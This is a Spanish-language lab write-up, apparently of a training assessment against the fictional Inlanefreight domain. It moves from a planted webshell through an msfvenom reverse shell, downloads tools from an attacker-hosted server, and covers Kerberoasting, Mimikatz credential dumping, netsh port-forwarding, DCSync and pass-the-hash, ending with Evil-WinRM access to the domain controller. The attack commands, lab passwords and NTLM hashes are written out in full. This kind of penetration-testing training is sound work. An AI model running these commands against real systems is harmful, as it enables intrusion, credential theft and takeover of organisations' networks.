Evaluación de Habilidades AD – Parte I (Inlanefreight)
🧩 Escenario — Evaluación de Habilidades AD (Parte I)
Un compañero del equipo inició una prueba de penetración externa contra Inlanefreight, encontrando:
-
📤 Una vulnerabilidad de upload de archivos
-
🔧 Explotó la falla y subió un webshell protegido a
/uploads -
🔐 Credenciales del webshell:
admin : My_W3bsH3ll_P@ssw0rd!
Antes de cambiar de proyecto, dejó el webshell operativo.
Obtener un punto de apoyo desde el webshell, enumerar Active Directory, detectar fallos críticos y comprometer el dominio.
🚀 1. Obtención de Shell Inverso
Generación del payload
msfvenom -p windows/x64/shell_reverse_tcp --platform windows -a x64 LHOST=<Ip_atacante> LPORT=4646 -f exe -o reverse.exe
🧽 Mejora la terminal (para soporte de flechas, autocompletado...):
rlwrap nc -nlvp 4646
Subimos reverse.exe al servidor vía webshell.

Ejecutar el payload
Start-Process "C:\reverse.exe"
✔ Shell recibida correctamente.

🌐 2. Servidor web temporal para enviar herramientas
python3 -m http.server 6969
Descargar PowerView:
Invoke-WebRequest -Uri "http://<Ip_atacante>:6969/PowerView.ps1 " -OutFile "C:\PowerView.ps1"
🏰 3. Enumeración Inicial del Dominio
Importamos PowerView:
. C:\PowerView.ps1
Get-Domain

- Dominio: INLANEFREIGHT.LOCAL
- Controlador: DC01.INLANEFREIGHT.LOCAL
🔍 4. Usuarios Kerberoasteables
Get-DomainUser -SPN -Domain INLANEFREIGHT.LOCAL | select SamAccountName

Obtener el hash Kerberoast:
Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -Format Hashcat

🔓 5. Crackeo de Hash (Kerberoasting)
hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt --force

lucky7
🖥️ 6. Enumeración de Equipos
Get-DomainComputer | Select-Object Name, OperatingSystem, Enabled
Se encuentra MS01:

Resolución DNS:
Resolve-DNsName -Name MS01
IP detectada: 172.16.6.50
🔁 7. Port-Forwarding para acceder a MS01 por RDP
# Redirección para MS01 (RDP puerto 3389)
netsh interface portproxy add v4tov4 listenport=8081 listenaddress=0.0.0.0 connectport=3389 connectaddress=172.16.6.50
# Permitir en firewall
netsh advfirewall firewall add rule name="MS01_RDP" dir=in action=allow protocol=TCP localport=8081
# Verificar configuración
netsh interface portproxy show all
Conexión RDP:
xfreerdp /v:10.129.X.X:8081 /u:svc_sql /p:lucky7 /d:INLANEFREIGHT.LOCAL /dynamic-resolution +clipboard /cert:ignore

✔ Acceso a MS01 logrado.
🧪 8. Dump de Credenciales con Mimikatz
./mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

Se obtiene el hash NTLM del usuario tpetty, pero no es crackeable.
🔐 9. Obtener contraseña en claro (WDigest)
Necesita activar UseLogonCredential = 1 en el registro.
Comprobar estado del registro:
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" | Select-Object UseLogonCredential
Ejecutar nuevamente Mimikatz:
./mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

Sup3rS3cur3D0m@inU2eR
🔍 10. Comprobación de Credenciales
crackmapexec smb 10.129.6.14 -u tpetty -p 'Sup3rS3cur3D0m@inU2eR
🛂 11. Enumeración de ACLs de tpetty
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid tpetty
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

-
DS-Replication-Get-Changes
-
DS-Replication-Get-Changes-All
✔ Puede realizar DCSync.
🧨 12. DCSync Attack → Hash de Administrator
Primero, pass-the-hash:
sekurlsa::pth /user:tpetty /domain:INLANEFREIGHT.LOCAL /ntlm:fd37b6fec5704cadabb319cebf9e3a3a
En la nueva ventana de cmd:
mimikatz.exe
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

# 🖧 13. Acceso al Controlador del Dominio (DC01)
Resolver DNS:
Resolve-DnsName -Name "DC01.INLANEFREIGHT.LOCAL"
IP:
172.16.6.3
Port-Forwarding a WinRM
# Redirección para DC01 (WinRM puerto 5985)
netsh interface portproxy add v4tov4 listenport=8083 listenaddress=0.0.0.0 connectport=5985 connectaddress=172.16.6.3
# Permitir en firewall
netsh advfirewall firewall add rule name="DC01_WinRM" dir=in action=allow protocol=TCP localport=8083
# Verificar configuración
netsh interface portproxy show all
Acceso con Evil-WinRM
evil-winrm -i 10.129.X.X -P 8083 -u Administrator -H 27dedb1dab4d8545c6e1c66fba077da0
Estamos en el controlador del dominio

🎯 RESULTADO FINAL
Dominio INLANEFREIGHT.LOCAL completamente comprometido:
-
Movimiento lateral
-
Privilege Escalation
-
DCSync → NTLM de Administrator
-
Acceso WinRM al DC01
Referencias
💣 Payloads
🔥 Kerberoasting - desde Windows
🧭 Port Forwarding con Windows Netsh
🔍 ACL Enumeration
🧬 DCSync — Compromiso Total del Dominio